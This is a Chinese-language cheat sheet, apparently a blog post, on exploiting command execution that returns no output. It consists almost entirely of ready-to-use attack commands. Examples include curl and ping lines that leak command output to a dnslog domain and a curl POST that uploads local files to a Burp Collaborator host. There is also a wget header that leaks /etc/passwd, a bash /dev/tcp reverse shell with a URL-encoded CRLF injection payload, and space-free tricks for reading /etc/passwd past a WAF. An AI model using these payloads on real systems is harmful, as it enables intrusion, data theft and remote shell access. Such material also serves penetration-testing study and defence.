无回显代码执行利用方法总结

0X00 DNSLOG回显

  • 尝试DNSLOG获取回显使用反引号执行代码,并用curl将执行结果返回给DNSLOG

    1
    2
    curl http://dnslog/`whoami`
    ping `whoami`.dnslog

    MZp6f0.jpg
    MZpDTs.jpg

0X01 curl上传文件

  • 我们可以用 -X POST 来申明我们的请求方法,用 -F “file=@FILE_PATH“ 的请示,传输文件即可。

    1
    2
    3
    4
    5
    # 利用Burp:
    curl -X POST -F xx=@/Users/vk/Downloads/1.txt http://a8jmrauzh2kxy56bhk99xwhh78dy1n.burpcollaborator.net -v

    # 利用NC:
    curl -X POST -F xx=@/Users/vk/Downloads/1.txt http://127.0.0.1:9999 -v
  • 打开Burp主界面 –>菜单(Burp)–>Burp Collaboraor Client – > 点击 Copy to Clipboard
    MZp2lT.jpg
    MZpR6U.jpg

0X02 Wget

  • wget指定header头查看日志回显

    1
    wget -d --header="User-Agent: $(cat /etc/passwd|tail -n 1)" http://127.0.0.1/1.php

    MuAZ4O.jpg
    MuAVUK.jpg

0X03 反弹shell

  • 用nc返回一个交互式的shell

    1
    2
    3
    4
    5
    6
    7
    8
    # 服务器端执行
    nc -vv -lp 8888

    # 命令执行处执行
    bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

    # payload
    command=111%0d%0abash+-i+>%26+/dev/tcp/127.0.0.1/8888+0>%261

    MZpyYq.jpg
    MZpskn.jpg

0X04 无空格命令执行

  • 在一些漏洞利用场景,或者因为waf等原因,导致无法使用空格时,可以试试如下命令:

    1
    2
    3
    4
    5
    6
    IFS=,;`cat<<<cat,/etc/passwd` 
    cat$IFS/etc/passwd
    cat${IFS}/etc/passwd
    cat</etc/passwd
    {cat,/etc/passwd}
    X=$'cat\x20/etc/passwd'&&$X
  • 经过测试,除最后一条在mac osx下执行失败,这些命令在ubuntu 19.10和centos7下均执行成功。在mac osx系统下系统会将cat\x20/etc/passwd当成一个可执行文件,会提示No such file or directory。